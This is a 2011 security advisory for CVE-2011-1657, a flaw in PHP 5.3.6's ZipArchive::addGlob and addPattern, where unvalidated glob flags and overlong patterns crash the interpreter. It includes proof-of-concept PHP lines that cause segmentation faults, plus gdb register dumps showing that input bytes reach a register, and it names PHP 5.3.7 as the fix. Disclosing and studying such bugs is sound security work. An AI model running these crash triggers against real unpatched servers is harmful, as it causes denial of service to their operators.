PHP 5.3.6 ZipArchive invalid use glob(3) Aug 19 2011 05:08AM
cxib securityreason com
[ PHP 5.3.6 ZipArchive invalid use glob(3) ]

Author: Maksymilian Arciemowicz
- Dis.: 01.04.2011
- Pub.: 19.08.2011

CVE: CVE-2011-1657

Affected Software (verified):
PHP 5.3.6 and prior

PHP 5.3.7

Original URL:

--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications.

This extension enables you to transparently read or write ZIP compressed archives and the files inside them.

--- 1. PHP 5.3.6 ZipArchive invalid use glob(3) ---
Functions like addGlob and addPattern are not described in documentation. Anyway we can call to ZipArchive::addGlob and ZipArchive::addPattern in PHP 5.3.6


let's see ext/zip/php_zip.c

531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {
1629 /* 1 == glob, 2==pcre */
1630 if (type == 1) {
1631 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la",
1632 &pattern, &pattern_len, &flags, &options) == FAILURE) {
1633 return;
1634 }
1635 } else {
1636 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa",
1637 &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) {
1638 return;
1639 }
1640 }

invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC, we should first declare gl_opendir, gl_closedir, gl_lstat, gl_stat. In PHP we only have

508 glob_t globbuf;
530 globbuf.gl_offs = 0;
531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {

for addglob() there are no GLOB flags validation like in php/glob(). Only flags like GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR
|GLOB_ERR should be allowed:

- GLOB_MARK - Adds a slash to each directory returned
- GLOB_NOSORT - Return files as they appear in the directory (no sorting)
- GLOB_NOCHECK - Return the search pattern if no files matching it were found
- GLOB_NOESCAPE - Backslashes do not quote metacharacters
- GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
- GLOB_ONLYDIR - Return only directory entries which match the pattern
- GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.

cx@cx64:~$ php -v
PHP 5.3.3-1ubuntu9.3 with Suhosin-Patch (cli) (built: Jan 12 2011 16:07:38)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
cx@cx64:~$ uname -a
Linux cx64 2.6.35-28-generic #49-Ubuntu SMP Tue Mar 1 14:39:03 UTC 2011 x86_64 GNU/Linux
cx@cx64:/www$ cat zip.php
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("*",333333),
?>cx@cx64:/www$ php zip.php
Segmentation fault

Tested with NetBSD glob(3) implementation (netbsd 5.1 and PHP 5.3.6)

unlink("empty.zip"); fopen("empty.zip","a"); $nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("A",1000000)

Program received signal SIGSEGV, Segmentation fault.
0xbb86bb12 in realloc () from /usr/lib/libc.so.12
(gdb) i r
eax 0x410041 4259905
ecx 0xc 12
edx 0xbfb00000 -1078984704
ebx 0xbb8c81f4 -1148419596
esp 0xbfbfa980 0xbfbfa980
ebp 0xbfbfa9d8 0xbfbfa9d8
esi 0xfc000 1032192
edi 0x0 0
eip 0xbb86bb12 0xbb86bb12 <realloc+118>
(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x410041: Cannot access memory at address 0x410041

and now try 'B'

(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x420042: Cannot access memory at address 0x420042

A we get mov 0x8(%eax),%edi where eax=0x410041
B we get mov 0x8(%eax),%edi where eax=0x420042

and once again for eax=0x0

$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob("aa",0x39);

Program received signal SIGSEGV, Segmentation fault.
0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
(gdb) bt
#0 0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
#1 0xbb86a43a in _malloc_prefork () from /usr/lib/libc.so.12
#2 0xbb86bb9c in realloc () from /usr/lib/libc.so.12
#3 0xbb83610b in __globfree30 () from /usr/lib/libc.so.12
#4 0xbb836cb7 in __globfree30 () from /usr/lib/libc.so.12
#5 0xbb8372d9 in __glob30 () from /usr/lib/libc.so.12
#6 0x083b1fe3 in php_XML_ParserFree ()
#7 0x083b45b7 in php_XML_ParserFree ()
#8 0x083b485f in php_XML_ParserFree ()
#9 0x0846f4b6 in execute ()
#10 0x084703c8 in execute ()
#11 0x0846e42d in execute ()
#12 0x08442b5a in zend_execute_scripts ()
#13 0x083c776b in php_execute_script ()
#14 0x08515c23 in zend_get_zval_ptr_ptr ()
#15 0x08067eb4 in ___start ()
#16 0x08067e17 in _start ()

to get other crash point, change 0x39 to 0x40 or use addPattern() with special crafted zip files.

0x083b21c4 in php_XML_ParserFree ()

--- 2. Fix ---
PHP 5.3.7

PR/44959: Henning Petersen: glob forgets to closedir on out of space condition.

--- 3. Greets ---

sp3x infospec

--- 4. Contact ---
Author: Maksymilian Arciemowicz

- cxib {a\./t] securityreason [d=t} com

- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg


[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus